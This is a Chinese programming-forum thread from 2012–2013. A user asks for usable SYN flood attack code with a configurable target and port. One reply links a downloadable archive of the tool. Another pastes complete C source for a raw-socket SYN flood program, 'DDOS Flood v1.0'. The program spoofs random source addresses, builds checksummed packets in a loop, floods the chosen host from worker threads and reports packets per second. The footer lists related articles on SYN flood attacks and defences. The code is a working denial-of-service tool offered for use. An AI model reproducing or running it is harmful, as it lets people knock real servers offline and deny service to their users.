社区
网络及通讯开发
帖子详情
求syn flood tcp攻击代码,可用
BTliqiaosheng
2012-12-29 06:06:13
需要是tcp的,可以指定攻击地址和端口,可以在vs2010下运行
...全文
352
2
打赏
收藏
求syn flood tcp攻击代码,可用
需要是tcp的,可以指定攻击地址和端口,可以在vs2010下运行
复制链接
扫一扫
分享
转发到动态
举报
写回复
配置赞助广告
用AI写文章
2 条
回复
切换为时间正序
请发表友善的回复…
发表回复
打赏红包
zjcqoo
2013-01-29
打赏
举报
回复
N久以前vc6写的。转换下即可。
http://www.etherdream.com/syndos/SYNDOS(Socket).rar
zjcqoo
2013-01-29
打赏
举报
回复
===== DOS.c ===== #include <winsock2.h> #include <ws2tcpip.h> #include <process.h> #include <stdio.h> #include "Packet.h" #include "Checksum.h" #pragma comment(lib, "ws2_32.lib") /************************************************** * 伪随机数 **************************************************/ ULONG _SEED_; #define SRND(seed) (_SEED_ = seed) #define RND() (_SEED_ *= 10807L) /************************************************** * 数据包装填 **************************************************/ #define MAX_TURN_NUM 10000 PACKET_SYN PktSyn[MAX_TURN_NUM]; UINT TurnRemain = MAX_TURN_NUM; //当前回合剩余数 UINT TurnTimes = 0; //当前回合数 BOOL isDone = TRUE; //回合完成标志 BOOL isTerm = FALSE; //退出标志 SOCKET hSocket; ULONG ip; USHORT port; /************************************************** * 函数:InitNetwork * 注释:初始化网络 **************************************************/ BOOL InitNetwork() { WSADATA wsaData; WSAStartup(MAKEWORD(2, 0), &wsaData); /* * 版本检测 */ if(2 != LOBYTE(wsaData.wVersion)|| 0 != HIBYTE(wsaData.wVersion)) { printf("无法加载Winsock.DLL!"); WSACleanup(); return FALSE; } return TRUE; } /************************************************** * 函数:InitSocket * 注释:初始化网络 **************************************************/ BOOL InitSocket() { DWORD dwOpVal = TRUE; /* * 创建Socket */ hSocket = WSASocket(AF_INET, SOCK_RAW, IPPROTO_RAW, NULL, 0, WSA_FLAG_OVERLAPPED); if(INVALID_SOCKET == hSocket) { printf("创建Socket失败!"); return FALSE; } /* * 设置选项 */ if(SOCKET_ERROR == setsockopt(hSocket, IPPROTO_IP, IP_HDRINCL, (char*)&dwOpVal, sizeof(DWORD)) ) { printf("设置Socket发生错误!"); return FALSE; } return TRUE; } /************************************************** * 函数:PacketBuild * 注释:装包 **************************************************/ VOID PacketBuild() { UINT i; SRND(GetTickCount()); InitChkSumTable(); /* * IP层 */ PktSyn[0].IP.VerLen = 0x45; PktSyn[0].IP.TOS = 0; PktSyn[0].IP.Length = HTONS(0); PktSyn[0].IP.Ident = HTONS(1); PktSyn[0].IP.Flags = 0x40; PktSyn[0].IP.TTL = 64; PktSyn[0].IP.Proto = PROTO_IP_TCP; PktSyn[0].IP.DstIP = ip; /* * TCP层 */ PktSyn[0].TCP.DstPort = HTONS(port); PktSyn[0].TCP.Ack = 0; PktSyn[0].TCP.HeaderLen = 0x50; PktSyn[0].TCP.Flags = FLAG_TCP_SYN; PktSyn[0].TCP.WinSize = 0xFFFF; PktSyn[0].TCP.UrgPtr = 0; /* * 计算Checksum */ InitIPSum((USHORT*)&PktSyn[0].IP); InitTCPSum((USHORT*)&PktSyn[0].TCP, ip); for(i=1; i<MAX_TURN_NUM; i++) memcpy(&PktSyn[i], &PktSyn[0], sizeof(PACKET_SYN)); } /************************************************** * 函数:BuildThread * 注释:装填线程 **************************************************/ VOID BuildThread() { INT i; ULONG ip; USHORT port; ULONG seq; for(;;) { /* * 等待下一轮的装填 */ while(!isDone) { Sleep(1); if(isTerm) return; } for(i=MAX_TURN_NUM-1; i>=0; i--) { ip = (RND() << 8) | 0xA; port = (USHORT)RND(); seq = RND(); PktSyn[i].IP.SrcIP = ip; PktSyn[i].IP.ChkSum = IPChecksum(ip); PktSyn[i].TCP.SrcPort = port; PktSyn[i].TCP.Seq = seq; PktSyn[i].TCP.ChkSum = TCPChecksum(ip, port, seq); } isDone = FALSE; } } /************************************************** * 函数:FloodThread * 注释:攻击线程 **************************************************/ VOID FloodThread() { SOCKADDR_IN addr_in = {AF_INET, port}; addr_in.sin_addr.S_un.S_addr = ip; while(!isTerm) { sendto(hSocket, (const char*)&PktSyn[TurnRemain], sizeof(PACKET_SYN), 0, (PSOCKADDR)&addr_in, sizeof(addr_in)); /* * 当前回合完成 */ if(0 == TurnRemain--) { TurnRemain = MAX_TURN_NUM-1; TurnTimes++; isDone = TRUE; } } } /************************************************** * 函数:DisplayUsage * 注释:用法 **************************************************/ VOID DisplayUsage() { printf("DDOS Flood v1.0 By EtherDream\n\n"); printf("用法: DDOS 主机 端口 [持续时间 (默认无限)]"); } BOOL WINAPI CtrlHandler(DWORD ctrlType) { isTerm = TRUE; return TRUE; } /************************************************** * 注释 主程序 **************************************************/ int main(int argc, char* argv[]) { HOSTENT *lpHost = NULL; UINT curSent = 0; UINT lastSent = 0; UINT time = 0xFFFFFFFF; UINT t = 0; /* * 初始化网络 */ if(!InitNetwork()) return 1; /* * 无效的参数量 */ if(argc < 3) { DisplayUsage(); return 1; } /* * IP地址格式检测 */ ip = inet_addr(argv[1]); if(ip == -1) { lpHost = gethostbyname(argv[1]); if(NULL == lpHost) { printf("无法解析主机: %s\n", argv[1]); return 1; } ip = ((LPIN_ADDR)lpHost->h_addr)->s_addr; } /* * 端口格式检测 */ port = (USHORT)atoi(argv[2]); /* * 时间检测 */ if(argc == 4) { time = atoi(argv[3]); if(time <=0) { printf("无效的时间!\n"); return 1; } } /* * 初始化Socket */ if(!InitSocket()) return 1; printf("攻击中...\n"); PacketBuild(); /* * 启动装填、攻击线程 */ _beginthread((void(__cdecl*)(void*))BuildThread, 0, NULL); Sleep(1); _beginthread((void(__cdecl*)(void*))FloodThread, 0, NULL); SetConsoleCtrlHandler(CtrlHandler, TRUE); /* * 显示发送信息 */ while(t != time) { if(isTerm) break; Sleep(1000); /* * 当前发送数 */ curSent = TurnTimes * MAX_TURN_NUM + (MAX_TURN_NUM - TurnRemain); printf("[%d] 速度: %d 包/秒. (累计发送: %d 包)\t\r", ++t, curSent - lastSent, curSent); lastSent = curSent; } printf("\n完成!"); closesocket(hSocket); WSACleanup(); return 0; } ===== Checksum.h ===== #ifndef __CHKSUM__ #define __CHKSUM__ #include "Packet.h" #define HI(VALUE) (VALUE >> 16) #define LOW(VALUE) (VALUE & 0xFFFF) #define SUM(VALUE) (HI(VALUE) + LOW(VALUE)) UINT __IPSum__; UINT __TCPSum__; /************************************************** * 注释:定义Checksum缓存表 **************************************************/ #define MAX_WORD_LEN \ ((sizeof(HEADER_TCP) + sizeof(HEADER_PSD)) / sizeof(USHORT)) #define MAX_TBL_SIZE \ (0x10000 * MAX_WORD_LEN) USHORT TableChkSum[MAX_TBL_SIZE]; /************************************************** * 函数:InitChkSumTable * 注释:初始化Checksum缓存表 **************************************************/ static void InitChkSumTable() { UINT i; UINT chkSum; for(i=0; i<MAX_TBL_SIZE; i++) { chkSum = SUM(i); chkSum += HI(chkSum); TableChkSum[i] = (USHORT)~chkSum; } } /************************************************** * 函数:GetIPSum * 注释:计算IP字段和 **************************************************/ static void InitIPSum(USHORT buf[]) { __IPSum__ = buf[0] + buf[1] + buf[2] + buf[3] + buf[4] + buf[8] + buf[9]; } /************************************************** * 函数:GetTCPSum * 注释:计算TCP字段和 **************************************************/ static void InitTCPSum(USHORT buf[], ULONG DstIP) { __TCPSum__ = SUM(DstIP) + HTONS(PROTO_IP_TCP) + HTONS(sizeof(HEADER_TCP)) + buf[1] + buf[6] + buf[7] + buf[9]; } #define IPChecksum(SrcIP) \ TableChkSum[__IPSum__ + SUM(SrcIP)] #define TCPChecksum(SrcIP, SrcPort, Seq) \ TableChkSum[__TCPSum__ + SUM(SrcIP) + SUM(Seq) + SrcPort] #endif ===== Packet.h ===== #ifndef __PACKET__ #define __PACKET__ #include <windef.h> // // IP结构 // typedef struct { BYTE VerLen; BYTE TOS; USHORT Length; USHORT Ident; USHORT Flags; BYTE TTL; BYTE Proto; USHORT ChkSum; ULONG SrcIP; ULONG DstIP; } HEADER_IP; // // TCP结构 // typedef struct { USHORT SrcPort; USHORT DstPort; ULONG Seq; ULONG Ack; BYTE HeaderLen; BYTE Flags; USHORT WinSize; USHORT ChkSum; USHORT UrgPtr; } HEADER_TCP; typedef struct { ULONG SrcIP; ULONG DstIP; BYTE MBZ; BYTE Proto; USHORT TCPLen; } HEADER_PSD; typedef struct { HEADER_IP IP; HEADER_TCP TCP; } PACKET_SYN; /************************************************** * 宏:HTONS * 注释:网络字节顺序转换 **************************************************/ #define HTONS(_host) \ ( \ (((_host) & 0xff00) >> 8) | \ (((_host) & 0x00ff) << 8) \ ) // // 协议 // #define PROTO_IP_TCP 6 #define FLAG_TCP_SYN 2 #endif
DDoS
攻击
--
Syn
_
Flood
攻击
防护详解(
TCP
)
本文详细介绍了
Syn
_
Flood
攻击
的工作原理及其防御措施。
Syn
_
Flood
是一种经典的拒绝服务
攻击
,通过发送大量伪造源地址的
SYN
请
求
,导致目标服务器资源耗尽,阻止合法用户的访问。文章还探讨了如cookie源认证、reset认证等多种防御策略。
使用Python实现
SYN
泛洪
攻击
(
SYN
Flood
)
本文介绍了
SYN
泛洪
攻击
的基本原理,并使用Python结合scapy库,详细展示了如何实施
SYN
Flood
攻击
,通过构造大量半连接请
求
消耗服务器资源,从而达到DoS
攻击
的目的。
[KALI系列]使用Kali进行
SYN
FLOOD
攻击
,新手一学就会
本文介绍了
SYN
Flood
攻击
的概念,这是一种利用
TCP
三次握手漏洞进行DoS或DDoS
攻击
的方法。通过Kali Linux,作者展示了如何执行
SYN
FLOOD
攻击
,通过伪造IP和端口,导致目标系统CPU资源耗尽。实验结果显示,
攻击
期间CPU利用率飙升至100%,
攻击
结束后恢复正常。
使用Kali Linux进行
SYN
Flood
攻击
本文深入解析
TCP
协议中的
SYN
握手过程及其在
SYN
Flood
ing
攻击
中的应用,通过实例展示如何利用Kali Linux对Windows XP进行
SYN
Flood
攻击
,揭示
攻击
原理及防御策略。
网络及通讯开发
1,317
社区成员
8,874
社区内容
发帖
与我相关
我的任务
网络及通讯开发
C++ Builder 网络及通讯开发
复制链接
扫一扫
分享
社区描述
C++ Builder 网络及通讯开发
社区管理员
加入社区
获取链接或二维码
近7日
近30日
至今
加载中
查看更多榜单
社区公告
暂无公告
试试用AI创作助手写篇文章吧
+ 用AI写文章